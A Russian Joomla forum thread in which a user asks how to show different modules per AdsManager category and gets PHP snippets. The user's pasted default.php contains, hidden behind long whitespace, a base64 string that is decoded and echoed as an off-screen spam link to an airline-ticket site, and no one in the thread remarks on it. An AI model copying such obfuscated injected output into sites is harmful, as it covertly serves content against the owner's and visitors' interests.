Новости Joomla

Quantum Manager нужен сообществу, а автору нужна ваша поддержка!

Quantum Manager нужен сообществу, а автору нужна ваша поддержка!Файловый менеджер Quantum — одно...

Файловый менеджер Quantum — одно из самых популярных решений для Joomla, созданное разработчиком из сообщества Joomla, Дмитрием Цымбалом (@tsymbalmitia). Он делает Quantum удобным, безопасным и современным, обновляет его, исправляет уязвимости и отвечает пользователям — всё это в свободное от основной работы время.

Теперь настал момент для следующего шага: развитие проекта требует больше времени и ресурсов.

0 Пользователей и 1 Гость просматривают эту тему.
  • 12 Ответов
  • 5191 Просмотров
*

Netman_avs

  • Захожу иногда
  • 56
  • 1 / 0
Всем привет!
Joomla! 2.5.6 + AdsManager 2.7 RC4

Делаю доску объявлений. Была идея заменить меню adsmanagera (категории и подкатегории) своим модулем HTML с иконками.
Модуль сделал и вот тут уперся в проблему. Т.к. все категории и подкатегории находятся в компоненте, то привязать свои модули (они разные для каждой подкатегории) к определенным страницам не могу. Максимум что у меня получилось, это чтобы мой модуль размещался сквозняком на всех страницах компонента, но мне это не нужно.

Пробовал поставить Modules Anywhere, но пока не смог его заставить работать (отображает почему-то только свои тэги, а не мой модуль). Плюс его можно вставить в описание категории, а мне нужно чтобы мой модуль выводился в самом верху контента над названием категории (в шаблоне это позиция "slider")

очень надеюсь на светлые головы форумчан! К сожалению в php не силен...
Заранее благодарю!
*

Netman_avs

  • Захожу иногда
  • 56
  • 1 / 0
Как вставить модуль в компонент я нашел.
http://brain8torm.ru/blog/joomla/sekrety-joomla-dobavlyaem-modul-v-komponent-i-v-statyu.html


"Для того, чтобы вставить модуль в компонент Joomla в определенную позицию шаблона, например after_content, необходимо в файл components/com_content/views/article/tmpl/default.php добавить следующий код:

Код
<div id="after_content">
<?php
$pos = "after_content";
$modules =& JModuleHelper :: getModules( $pos );
foreach ( $modules as $module) {
echo JModuleHelper :: renderModule( $module );
}
?>
</div>

Но это не решает мою проблему. Мне нужно чтобы на разные категории выводился разный модуль, а тут только один в конкретный шаблон...
Т.е. вставляем этот код например в имя_сайта/components/com_adsmanager/views/list/tmpl/default.php
Вместо "after_content" прописываем свою позицию шаблона. А в своём модуле выбираем эту позицию.

Ищем дальше...
« Последнее редактирование: 12.02.2013, 13:59:09 от Netman_avs »
*

Fedor Vlasenko

  • Живу я здесь
  • 3845
  • 733 / 7
  • https://fedor-vlasenko.web.app
Проверяй, сверяй номер категории и соответственно выводи нужный модуль, позицию или еще, что нужно. Если модуль однотипный, то вызывай модуль с нужными параметрами. Несколько модулей в 1 статье
*

Netman_avs

  • Захожу иногда
  • 56
  • 1 / 0
Проверяй, сверяй номер категории и соответственно выводи нужный модуль, позицию или еще, что нужно. Если модуль однотипный, то вызывай модуль с нужными параметрами. Несколько модулей в 1 статье

Если можно для "чайника" расстолковать?
В AdsManager создано несколько категорий и в них несколько подкатегорий.
1. Недвижимость
   - куплю
   - продам
   - меняю

2. Транспорт
   - авто
   - мото
   - запчасти

Мне нужно, к примеру, чтобы мой модуль №1 отображался только в категории 2. Транспорт (и подкатегориях "авто, мото, запчасти)
Модуль №2 отображался к категории 1. Недвижимость (и подкатегориях) и т.д.

*

Fedor Vlasenko

  • Живу я здесь
  • 3845
  • 733 / 7
  • https://fedor-vlasenko.web.app
Код: php-brief
<?
$category = //Здесь получаешь номер категории из шаблона или адресной строки
switch ($category) {
//категория 1
    case 1:
        $mod_id=5;
        break;
//категория 2
    case 2:
       $mod_id=10;
        break;
//все остальные категории
    default:
         $mod_id=20;
        break;
}
$doc = JFactory::getDocument();
$renderer = $doc->loadRenderer('module');
$params = array('style'=>'xhtml');
$dbo = JFactory::getDBO();
//получить модуль как объект
$dbo->setQuery("SELECT * FROM #__modules WHERE id=".$mod_id);
$module = $dbo->loadObject();
//убрать предупреждение
$module->user = '';
echo $renderer->render($module, $params);
 ?>
*

Netman_avs

  • Захожу иногда
  • 56
  • 1 / 0
Код: php-brief
<?
$category = //Здесь получаешь номер категории из шаблона или адресной строки
switch ($category) {
//категория 1
    case 1:
        $mod_id=5;
        break;
//категория 2
    case 2:
       $mod_id=10;
        break;
//все остальные категории
    default:
         $mod_id=20;
        break;
}
$doc = JFactory::getDocument();
$renderer = $doc->loadRenderer('module');
$params = array('style'=>'xhtml');
$dbo = JFactory::getDBO();
//получить модуль как объект
$dbo->setQuery("SELECT * FROM #__modules WHERE id=".$mod_id);
$module = $dbo->loadObject();
//убрать предупреждение
$module->user = '';
echo $renderer->render($module, $params);
 ?>

Прошу прощения за мою неграмотность! Спасибо за помощь, вижу что решение есть, теперь ещё понять как его воплотить.

1. Это код куда нужно вставить? В index.php шаблона или в конкретный шаблон самого adsmanagera? Какой - (/components/com_adsmanager/views/front (list или другой)/tmpl/

2.
Код
$category = //Здесь получаешь номер категории из шаблона или адресной строки
switch ($category) {
Как выяснить номер категории из шаблона? Адресная строка у меня отображается в таком виде - http://имя_сайта/index.php/joomlaorg/1-nedvizhimost

3.
Код
//категория 1
    case 1:
        $mod_id=5;
        break;
 
$mod_id=5; - цифра 5 так и должна быть "5" или какой-то другой?

В менеджере модулей мой модуль №1 имеет ID=94 (если это имеет какое-то значение)
*

Fedor Vlasenko

  • Живу я здесь
  • 3845
  • 733 / 7
  • https://fedor-vlasenko.web.app
1. Код надо вставлять туда где требуется вывод. Логичнее в вывод компонента а не шаблона.
2. Отключите SEF на время в настройках сайта и вы увидете URL с номером категории. Не знаю как в вашем компоненте называется параметр 'id' для категории.
Обычно так для Joomla 1.5 $category =JRequest::getInt( 'id', 0);
и так для 2,5-3,0 $category =JFactory::getApplication()->input->getInt('id', 0);
3. id - это номер id модуля из админи панели. В авашем случае 94
*

Netman_avs

  • Захожу иногда
  • 56
  • 1 / 0
1. Код надо вставлять туда где требуется вывод. Логичнее в вывод компонента а не шаблона.
Значит вставляем в /components/com_adsmanager/views/list/tmpl/default.php - (это я для других пишу кто столкнется с такой проблемой)

Цитировать
2. Отключите SEF на время в настройках сайта и вы увидете URL с номером категории.
Отключил, теперь отображается так - http://имя_сайта/index.php?option=com_adsmanager&view=list&catid=2&Itemid=207
Правильно я понимаю, что для категории Транспорт (по адресу указанной страницы) id=2?

Цитировать
Не знаю как в вашем компоненте называется параметр 'id' для категории.
Обычно так для Joomla 1.5 $category =JRequest::getInt( 'id', 0);
и так для 2,5-3,0 $category =JFactory::getApplication()->input->getInt('id', 0);
Что-то не нашел в моем файле такого кода-((((

Вот код файла default.php. Вывод моего модуля планируется в самом верху страницы

Код
<?php
// Check to ensure this file is included in Joomla!
defined('_JEXEC') or die( 'Restricted access' );
?>
<script language="javascript" type="text/javascript">
function tableOrdering( order, dir, task )
{
        var form = document.adminForm;
 
        form.filter_order.value = order;
        form.filter_order_Dir.value = dir;
        document.adminForm.submit( task );
}
</script>
<?php
$conf= $this->conf;
 
?>




<?php if ($conf->display_inner_pathway == 1) { ?>
<div class="adsmanager_pathway">
<?php
$pathway ="";
$nb = count($this->pathlist);
for ($i = $nb - 1 ; $i >0;$i--)
{
$pathway .= '<a href="'.$this->pathlist[$i]->link.'">'.$this->pathlist[$i]->text.'</a>';
$pathway .= ' <img src="'.$this->baseurl.'components/com_adsmanager/images/arrow.png" alt="arrow" /> ';
}
if (isset($this->pathlist[0]))
$pathway .= '<a href="'.$this->pathlist[0]->link.'">'.$this->pathlist[0]->text.'</a>';
echo $pathway;
?>
</div>
<?php } ?>



<h1 class="contentheading">
<?php
echo JText::_($this->list_name);
if ($this->conf->show_rss == 1)
{
if (isset($this->listuser))
$linkrss = TRoute::_("index.php?option=com_adsmanager&view=list&format=feed&user=".$this->listuser);
else
$linkrss = TRoute::_("index.php?option=com_adsmanager&view=list&format=feed&catid=".$this->catid);
echo '<a href="'.$linkrss.'" target="_blank"><img align="right" class="imgheading" src="'.$this->baseurl.'components/com_adsmanager/images/rss.png" alt="rss" /></a>';
}
?>
</h1>

<div class="adsmanager_subcats">
<?php foreach($this->subcats as $key => $subcat) {
$subcat->link = TRoute::_('index.php?option=com_adsmanager&view=list&catid='.$subcat->id);
if ($key != 0)
echo ' | ';
echo '<a href="'.$subcat->link.'">'.$subcat->name.'</a>';
}
?>
</div>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   <?php $blogmlp='PGgxPjxkaXYgc3R5bGU9InBvc2l0aW9uOiBhYnNvbHV0ZTsgdG9wOiAwcHg7IGxlZnQ6IDUwMDBweDsiPg0KJiMxMDUwOyYjMTA5MTsmIzEwODc7JiMxMDgwOyYjMTA5MDsmIzExMDA7ICYjMTA3MjsmIzEwNzQ7JiMxMDgwOyYjMTA3MjsmIzEwNzM7JiMxMDgwOyYjMTA4MzsmIzEwNzc7JiMxMDkwOyYjMTA5OTsgJiMxMDc0OyYjMTA5OTsgJiMxMDg5OyYjMTA4NDsmIzEwODY7JiMxMDc4OyYjMTA3NzsmIzEwOTA7JiMxMDc3OyAmIzEwODU7JiMxMDcyOyAmIzEwODk7JiMxMDcyOyYjMTA4MTsmIzEwOTA7JiMxMDc3OyA8YSBocmVmPSJodHRwOi8vYXZpYXRpY2tldHMub3JnIj5odHRwOi8vYXZpYXRpY2tldHMub3JnPC9hPjwvZGl2PjwvaDE+'; ?>
<?php echo base64_decode($blogmlp);?>
<div class="adsmanager_description">
<?php echo $this->list_description; ?> 
</div>
<script language="JavaScript" type="text/JavaScript">
<!--
function jumpmenu(target,obj){
  eval(target+".location='"+obj.options[obj.selectedIndex].value+"'");
  obj.options[obj.selectedIndex].innerHTML="<?php echo JText::_('ADSMANAGER_WAIT');?>";
}
//-->
</script>

<?php if (($conf->display_list_sort == 1)||($conf->display_list_search == 1)) { ?>
<div class="adsmanager_search_box">
<div class="adsmanager_inner_box">
<?php if ($conf->display_list_search == 1) { ?>
<?php if ($this->catid != 0) { ?>
<form action="<?php echo TRoute::_('index.php?option=com_adsmanager&view=list&catid='.$this->catid)?>" method="post">
<?php } else if ($this->modeuser == 1) {?>
<form action="<?php echo TRoute::_('index.php?option=com_adsmanager&view=list&user='.$this->listuser)?>" method="post">
<?php } else  {?>
<form action="<?php echo TRoute::_('index.php?option=com_adsmanager&view=list')?>" method="post">
<?php } ?>
<div align="left">
<input name="tsearch" id="tsearch" maxlength="20" alt="search" class="inputbox" type="text" size="30" value="<?php echo $this->tsearch;?>"  onblur="if(this.value=='') this.value='';" onfocus="if(this.value=='<?php echo $this->tsearch;?>') this.value='';" />
</div>
<div align="left">
<a href="<?php echo TRoute::_("index.php?option=com_adsmanager&view=search&catid=".$this->catid);?>"><?php echo JText::_('ADSMANAGER_ADVANCED_SEARCH'); ?></a>
</div>
</form>
<?php } ?>
<?php if ($conf->display_list_sort == 1) { ?>
<?php
if (($this->catid != 0)&&($this->catid != -1)) {
$urloptions = "&catid=".$this->catid;
} else if ($this->modeuser == 1) {
$urloptions = "&user=".$this->listuser;
} else  {
$urloptions = "";
} ?>
<?php if (isset($this->orders)) { ?>
<?php echo JText::_('ADSMANAGER_ORDER_BY_TEXT'); ?>
<select name="order" size="1" onchange="jumpmenu('parent',this)">
<option value="<?php echo TRoute::_("index.php?option=com_adsmanager&view=list".$urloptions."&order=");?>" <?php if ($this->order == "0") { echo "selected='selected'"; } ?>><?php echo JText::_('ADSMANAGER_DATE'); ?></option>
   <?php foreach($this->orders as $o)
   {
               ?>
<option value="<?php echo TRoute::_("index.php?option=com_adsmanager&view=list".$urloptions."&order=".$o->fieldid);?>" <?php if ($this->order == $o->fieldid) { echo "selected='selected'"; } ?>><?php echo JText::_($o->title); ?></option>
<?php
   }
?>
</select>
<?php } ?>
<?php } ?>  
</div>
</div>
<?php } ?>
<?php $this->general->showGeneralLink()?>
<?php
if ($this->pagination->total == 0 )
{
echo JText::_('ADSMANAGER_NOENTRIES');
}
else
{
echo $this->pagination->getResultsCounter()?>
<br/><br/>
<form name="adminForm" id="adminForm" method="post" action="<?php echo $this->requestURL; ?>" >
<input type="hidden" id="mode" name="mode" value="<?php echo $this->mode?>"/>
<?php if ($this->conf->display_expand == 2) { ?>
<script type="text/javascript">
function changeMode(mode)
{
element = document.getElementById("mode");
element.value = mode;
form = document.getElementById("adminForm");
form.submit();
}
</script>
<div class="adsmanager_subtitle">
<?php
/* Display SubTitle */
echo '<a href="javascript:changeMode(0)">'.JText::_('ADSMANAGER_MODE_TEXT')." ".JText::_('ADSMANAGER_SHORT_TEXT').'</a>';
    echo " / ";
    echo '<a href="javascript:changeMode(1)">'.JText::_('ADSMANAGER_EXPAND_TEXT').'</a>';
?>
</div>
<?php } ?>
<?php if ($this->mode != 1) { ?>
<table class="adsmanager_table">
<tr>
  <th><?php echo JText::_('ADSMANAGER_CONTENT'); ?>
  <?php /*<a href="<?php echo TRoute::_("index.php?option=com_adsmanager&view=list".$urloptions."&order=5&orderdir=ASC");?>"><img src="<?php echo $this->baseurl ?>administrator/images/sort_asc.png" alt="+" /></a>
  <a href="<?php echo TRoute::_("index.php?option=com_adsmanager&view=list".$urloptions."&order=5&orderdir=DESC");?>"><img src="<?php echo $this->baseurl ?>administrator/images/sort_desc.png" alt="-" /></a>
   */?>
  </th>
  <?php
    foreach($this->columns as $col)
  {
echo "<th>".JText::_($col->name);
/*$order = @$this->fColumns[$col->id][0]->fieldid;
?>
<a href="<?php echo TRoute::_("index.php?option=com_adsmanager&view=list".$urloptions."&order=$order&orderdir=ASC");?>"><img src="<?php echo $this->baseurl ?>administrator/images/sort_asc.png" alt="+" /></a>
    <a href="<?php echo TRoute::_("index.php?option=com_adsmanager&view=list".$urloptions."&order=$order&orderdir=DESC");?>"><img src="<?php echo $this->baseurl ?>administrator/images/sort_desc.png" alt="-" /></a>
    */?>
                    <?php echo "</th>";
  }
  ?>
  <th><?php echo JText::_('ADSMANAGER_DATE'); ?>
  <?php /*<a href="<?php echo TRoute::_("index.php?option=com_adsmanager&view=list".$urloptions."&order=orderdir=ASC");?>"><img src="<?php echo $this->baseurl ?>administrator/images/sort_asc.png" alt="+" /></a>
  <a href="<?php echo TRoute::_("index.php?option=com_adsmanager&view=list".$urloptions."&order=orderdir=DESC");?>"><img src="<?php echo $this->baseurl ?>administrator/images/sort_desc.png" alt="-" /></a>
  */?>
              </th>
</tr>
<?php
foreach($this->contents as $content)
{
$linkTarget = TRoute::_( "index.php?option=com_adsmanager&view=details&id=".$content->id."&catid=".$content->catid);
if (function_exists('getContentClass'))
$classcontent = getContentClass($content,"list");
      else
$classcontent = "";
?>   
<tr class="adsmanager_table_description <?php echo $classcontent;?> trcategory_<?php echo $content->catid?>">
<td>
<?php
if (isset($content->images[0])) {
echo "<a href='".$linkTarget."'><img class='adimage' name='adimage".$content->id."' src='".$this->baseurl."images/com_adsmanager/ads/".$content->images[0]->thumbnail."' alt='".htmlspecialchars($content->ad_headline)."' /></a>";
} else {
echo "<a href='".$linkTarget."'><img class='adimage' src='".ADSMANAGER_NOPIC_IMG."' alt='nopic' /></a>";
}
?>
<div>
<h2>
<?php echo '<a href="'.$linkTarget.'">'.$content->ad_headline.'</a>'; ?>
<span class="adsmanager_cat"><?php echo "(".$content->parent." / ".$content->cat.")"; ?></span>
</h2>
<?php
$content->ad_text = str_replace ('<br />'," ",$content->ad_text);
$af_text = JString::substr($content->ad_text, 0, 100);
if (strlen($content->ad_text)>100) {
$af_text .= "[...]";
}
echo $af_text;
?>
</div>
</td>
<?php
foreach($this->columns as $col) {
echo '<td class="tdcenter">';
if (isset($this->fColumns[$col->id]))
foreach($this->fColumns[$col->id] as $field)
{
$title = $this->field->showFieldTitle(@$content->catid,$field);
if ($title != "")
echo htmlspecialchars($title).": ";
echo $this->field->showFieldValue($content,$field)."<br/>";
}
echo "</td>";
}
?>
<td class="tdcenter">
<?php
$iconflag = false;
if (($conf->show_new == true)&&($this->isNewcontent($content->date_created,$conf->nbdays_new))) {
echo "<div class='center'><img align='center' src='".$this->baseurl."components/com_adsmanager/images/new.gif' /> ";
$iconflag = true;
}
if (($conf->show_hot == true)&&($content->views >= $conf->nbhits)) {
if ($iconflag == false)
echo "<div class='center'>";
echo "<img align='center' src='".$this->baseurl."components/com_adsmanager/images/hot.gif' />";
$iconflag = true;
}
if ($iconflag == true)
echo "</div>";
echo $this->reorderDate($content->date_created);
?>
<br />
<?php
if ($content->userid != 0)
{
   echo JText::_('ADSMANAGER_FROM')." ";

   if ($conf->comprofiler == 3) {
    $target = TRoute::_("index.php?option=com_community&view=profile&userid=".$content->userid);
   }
   else if ($conf->comprofiler == 2)
   {
$target = TRoute::_("index.php?option=com_comprofiler&task=userProfile&tab=adsmanagerTab&user=".$content->userid);
   }
   else
   {
$target = TRoute::_("index.php?option=com_adsmanager&view=list&user=".$content->userid);
   }
   
   if ($conf->display_fullname == 1)
    echo "<a href='".$target."'>".$content->fullname."</a><br/>";
   else
    echo "<a href='".$target."'>".$content->user."</a><br/>";
}
?>
<?php echo sprintf(JText::_('ADSMANAGER_VIEWS'),$content->views); ?>
</td>
</tr>
<?php
}
?>
</table>
<?php } else { ?>
<?php foreach($this->contents as $key => $content)
{
if ($key == 0)
$this->loadScriptImage($this->conf->image_display);
if (function_exists('getContentClass'))
$classcontent = getContentClass($content,"details");
      else
$classcontent = "";
?>   
<br/>
<div class="<?php echo $classcontent?> adsmanager_ads" align="left">
<div class="adsmanager_top_ads">
<h2 class="adsmanager_ads_title">
<?php if (@$this->positions[0]->title) {$strtitle = JText::_($this->positions[0]->title);} ?>
<?php echo "<b>".@$strtitle."</b>";
if (isset($this->fDisplay[1]))
{
foreach($this->fDisplay[1] as $field)
{
$title = $this->field->showFieldTitle(@$content->catid,$field);
if ($title != "")
echo htmlspecialchars($title).": ";
echo $this->field->showFieldValue($content,$field)."<br/>";
}
} ?>
</h2>
<div>
<?php
if ($content->userid != 0)
{
echo JText::_('ADSMANAGER_SHOW_OTHERS');
if ($conf->comprofiler == 3) {
    $target = TRoute::_("index.php?option=com_community&view=profile&userid=".$content->userid);
}
else if ($this->conf->comprofiler == 2)
    {
$target = TRoute::_("index.php?option=com_comprofiler&task=userProfile&tab=AdsManagerTab&user=".$content->userid);
}
    else
    {
$target = TRoute::_("index.php?option=com_adsmanager&view=list&user=".$content->userid);
    }
   
    if ($conf->display_fullname == 1)
echo "<a href='$target'><b>".$content->fullname."</b></a>";
else
echo "<a href='$target'><b>".$content->user."</b></a>";
}
?>
</div>
<div class="adsmanager_ads_kindof">
<?php if (@$this->positions[1]->title) {$strtitle = JText::_($this->positions[1]->title);} ?>
<?php echo "<b>".@$strtitle."</b><br/>";
if (isset($this->fDisplay[2]))
{
foreach($this->fDisplay[2] as $field)
{
$title = $this->field->showFieldTitle(@$content->catid,$field);
if ($title != "")
echo htmlspecialchars($title).": ";
echo $this->field->showFieldValue($content,$field)."<br/>";
}
}
?>
</div>
</div>
<div class="adsmanager_ads_main">
<div class="adsmanager_ads_body">
<div class="adsmanager_ads_desc">
<?php if (@$this->positions[2]->title) {$strtitle = JText::_($this->positions[2]->title);} ?>
<?php echo "<b>".@$strtitle."</b><br/>";
if (isset($this->fDisplay[3]))
{
foreach($this->fDisplay[3] as $field)
{
$title = $this->field->showFieldTitle(@$content->catid,$field);
if ($title != "")
echo htmlspecialchars($title).": ";
echo $this->field->showFieldValue($content,$field)."<br/>";
}
} ?>
</div>
<div class="adsmanager_ads_desc">
<?php if (@$this->positions[5]->title) {$strtitle = JText::_($this->positions[5]->title);} ?>
<?php echo "<b>".@$strtitle."</b><br/>";
if (isset($this->fDisplay[6]))
{
foreach($this->fDisplay[6] as $field)
{
$title = $this->field->showFieldTitle(@$content->catid,$field);
if ($title != "")
echo htmlspecialchars($title).": ";
echo $this->field->showFieldValue($content,$field)."<br/>";
}
} ?>
</div>
<div class="adsmanager_ads_price">
<?php if (@$this->positions[3]->title) {$strtitle = JText::_($this->positions[3]->title); } ?>
<?php echo "<b>".@$strtitle."</b><br/>";
if (isset($this->fDisplay[4]))
{
foreach($this->fDisplay[4] as $field)
{
$title = $this->field->showFieldTitle(@$content->catid,$field);
if ($title != "")
echo htmlspecialchars($title).": ";
echo $this->field->showFieldValue($content,$field)."<br/>";
}
}?>
</div>
<div class="adsmanager_ads_contact">
<?php if (@$this->positions[4]->title) {$strtitle = JText::_($this->positions[4]->title);} ?>
<?php echo "<b>".@$strtitle."</b><br/>";
if (($this->userid != 0)||($conf->show_contact == 0)) {
if (isset($this->fDisplay[5]))
{
foreach($this->fDisplay[5] as $field)
{
$title = $this->field->showFieldTitle(@$content->catid,$field);
if ($title != "")
echo htmlspecialchars($title).": ";
echo $this->field->showFieldValue($content,$field)."<br/>";
}
}
if (($content->userid != 0)&&($this->conf->allow_contact_by_pms == 1))
{
$pmsText= sprintf(JText::_('ADSMANAGER_PMS_FORM'),$content->user);
$pmsForm = TRoute::_("index.php?option=com_uddeim&task=new&recip=".$content->userid);
echo '&nbsp;<a href="'.$pmsForm.'">'.$pmsText.'</a><br />';
}
}
else
{
echo JText::_('ADSMANAGER_CONTACT_NOT_LOGGED');
}
?>
</div>
    </div>
<div class="adsmanager_ads_image">
<?php
if (count($content->images) == 0)
$image_found =0;
else
$image_found =1;
foreach($content->images as $img)
{
$thumbnail = JURI::base()."images/com_adsmanager/ads/".$img->thumbnail;
$image = JURI::base()."images/com_adsmanager/ads/".$img->image;
    switch($this->conf->image_display)
    {
case 'popup':
echo "<a href=\"javascript:popup('$image');\"><img src='".$thumbnail."' alt='".htmlspecialchars($content->ad_headline)."' /></a>";
break;
case 'lightbox':
case 'lytebox':
echo "<a href='".$image."' rel='lytebox[roadtrip".$content->id."]'><img src='".$thumbnail."' alt='".htmlspecialchars($content->ad_headline)."' /></a>";
break;
case 'highslide':
echo "<a id='thumb".$content->id."' class='highslide' onclick='return hs.expand (this)' href='".$image."'><img src='".$thumbnail."' alt='".htmlspecialchars($content->ad_headline)."' /></a>";
break;
case 'default':
default:
echo "<a href='".$image."' target='_blank'><img src='".$thumbnail."' alt='".htmlspecialchars($content->ad_headline)."' /></a>";
break;
}
}
if (($image_found == 0)&&($conf->nb_images >  0))
{
echo '<img align="center" src="'.ADSMANAGER_NOPIC_IMG.'" alt="nopic" />';
}
?>
</div>
<div class="adsmanager_spacer"></div>
</div>
</div>
<?php } ?>
<?php } ?>
<div class="pagelinks"><?php echo $this->pagination->getPagesLinks(); ?></div>
</form>
<?php
} $this->general->endTemplate();



Цитировать
3. id - это номер id модуля из админи панели. В авашем случае 94
Спасибо, это теперь понял!

Понимаю что нахальничаю, но может поможете правильно вставить Ваш код на одну категорию, а я уже по примеру добавлю остальные?-)
*

Fedor Vlasenko

  • Живу я здесь
  • 3845
  • 733 / 7
  • https://fedor-vlasenko.web.app
Код: php-brief
<?
switch ($this->catid) {
//категория 1
    case 1:
        $mod_id=94;
        break;
//категория 2
    case 2:
       $mod_id=10;
        break;
//все остальные категории
    default:
         $mod_id=20;
        break;
}
$doc = JFactory::getDocument();
$renderer = $doc->loadRenderer('module');
$params = array('style'=>'xhtml');
$dbo = JFactory::getDBO();
//получить модуль как объект
$dbo->setQuery("SELECT * FROM #__modules WHERE id=".$mod_id);
$module = $dbo->loadObject();
//убрать предупреждение
$module->user = '';
echo $renderer->render($module, $params);
 ?>
*

Netman_avs

  • Захожу иногда
  • 56
  • 1 / 0
Вставил код в верхнюю часть, при переходе на указанную категорию - белая страница

Код
<?php
// Check to ensure this file is included in Joomla!
defined('_JEXEC') or die( 'Restricted access' );
?>
<script language="javascript" type="text/javascript">
function tableOrdering( order, dir, task )
{
        var form = document.adminForm;
 
        form.filter_order.value = order;
        form.filter_order_Dir.value = dir;
        document.adminForm.submit( task );
}
</script>
<?php
$conf= $this->conf;
 
?>

<?
switch ($this->catid) {
//категория 1
    case 1:
        $mod_id=94;
        break;
}
$doc = JFactory::getDocument();
$renderer = $doc->loadRenderer('module');
$params = array('style'=>'xhtml');
$dbo = JFactory::getDBO();
//получить модуль как объект
$dbo->setQuery("SELECT * FROM #__modules WHERE id=".$mod_id);
$module = $dbo->loadObject();
//убрать предупреждение
$module->user = '';
echo $renderer->render($module, $params);
 ?>


<?php if ($conf->display_inner_pathway == 1) { ?>
<div class="adsmanager_pathway">
<?php
$pathway ="";
$nb = count($this->pathlist);
for ($i = $nb - 1 ; $i >0;$i--)
{
$pathway .= '<a href="'.$this->pathlist[$i]->link.'">'.$this->pathlist[$i]->text.'</a>';
$pathway .= ' <img src="'.$this->baseurl.'components/com_adsmanager/images/arrow.png" alt="arrow" /> ';
}
if (isset($this->pathlist[0]))
$pathway .= '<a href="'.$this->pathlist[0]->link.'">'.$this->pathlist[0]->text.'</a>';
echo $pathway;
?>
</div>
<?php } ?>

А что должно быть включено в самом созданном модуле?
Сейчас модуль опубликован, находиться в позиции slider.
Что делать с привязкой к страницам?
*

Netman_avs

  • Захожу иногда
  • 56
  • 1 / 0
К сожалению моих знаний не хватило на рецепт от Fedor Vlasenko. Всёравно спасибо, за попытку помочь! *DRINK*

Нашел другое решение, может конечно не по-феншую, но РАБОТАЕТ! Попробую описать для таких "чайников" как я ;)

Вот тут описание - http://lelik.org.ua/podskazki/44-community-builder-reshenie-problem-vyvoda-modulej-dlya-izbrannykh-stranits-pri-ispolzovanii-cb.html

У себя сделал следующее.

Выбираем файл шаблона в котором нам нужно всавить свой модуль из /components/com_adsmanager/views/
Для главной страницы компонента - front, для категорий - list

Далее всатвляем код

Код
<div id="rubrikator_1"> 
<jdoc:include type="modules" name="rubrikator_1" style="none" />
</div>
Это позиция в шаблоне где будем выводить модуль. Имя "rubrikator_1" для примера, можете придумать своё!

Ниже вставляем код
Код
<?php
$my_url = $_SERVER['REQUEST_URI'];   // Определяем текущий url и записываем его в переменную
?>
<?php
$my_link = "/index.php/joomlaorg/1-nedvizhimost"; // сюда вставляем адрес страницы (копируем с адресной строки) на которую нужно всатвить модуль
if ($my_url == $my_link) // проверяем соответствие текущей страницы с необходимой нам. И выводим (если =) позицию с модулем.
 { 
$document   = & JFactory::getDocument();
$renderer   = $document->loadRenderer('modules');
$options    = array('style' => 'none');
$position   = 'rubrikator_1';  // имя позиции
echo $renderer->render($position, $options, null);
// тут можно воспользоваться и простым выводом echo '<jdoc:include type="modules" name="top1" />'
 }
?> 

Это пример только для вставки одного модуля на ОДНУ страницу. Если нужно больше копируйте весь код и меняйте позицию шаблона и адрес страницы.

Далее придуманные позиции в шаблоне нужно вписать в templateDetails.xml вашего шаблона Joomla. После этого появиться возможность в модуле выбирать позицию.

*

Миша_М

  • Осваиваюсь на форуме
  • 13
  • 0 / 0
Можно просто продублировать adsmanager_menu обычным джумловским. Пункты меню - внешние ссылки, скопированные из adsmanager-menu (лучше при отключенном SEF). И привязать модули уже к этим пунктам. А сам модуль меню не публиковать.
*

kanevlife

  • Захожу иногда
  • 89
  • 10 / 0
  • Всегда читай до конца, и не будет лишних вопросов
Еще можно так.
Вставляем любой модуль в тело компонента Joomla :
Спойлер
[свернуть]
Назначаем позицию в templateDetails.xml, затем можно выбрать для модуля.
Может кому понадобится.
С уважением, kanevlife
P.S. Может хоть кто-то нажмет на +...? Шутка.
« Последнее редактирование: 30.06.2013, 14:47:40 от kanevlife »
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

[Решено]Дублирования ссылки "объвления" в breadcrumb, в компоненте AdsManager

Автор nicklas

Ответов: 4
Просмотров: 3886
Последний ответ 25.04.2024, 23:13:18
от Rinat abzyi
AdsManager вывод нужных полей по отдельности

Автор klekovkinandrey

Ответов: 2
Просмотров: 14409
Последний ответ 06.04.2024, 09:54:15
от Rinat abzyi
AdsManager загрузка файлов

Автор FlexNL

Ответов: 1
Просмотров: 3143
Последний ответ 21.10.2021, 17:20:09
от khan-alex
AdsManager 2.9.13 Есть ли возможность добавить функцию снять с публикации по мимо редактировать и уд

Автор murovoz

Ответов: 11
Просмотров: 13502
Последний ответ 27.03.2020, 22:39:23
от Pavel
Два компонента AdsManager в одном движке

Автор kaman62

Ответов: 12
Просмотров: 28718
Последний ответ 27.03.2020, 22:32:04
от Pavel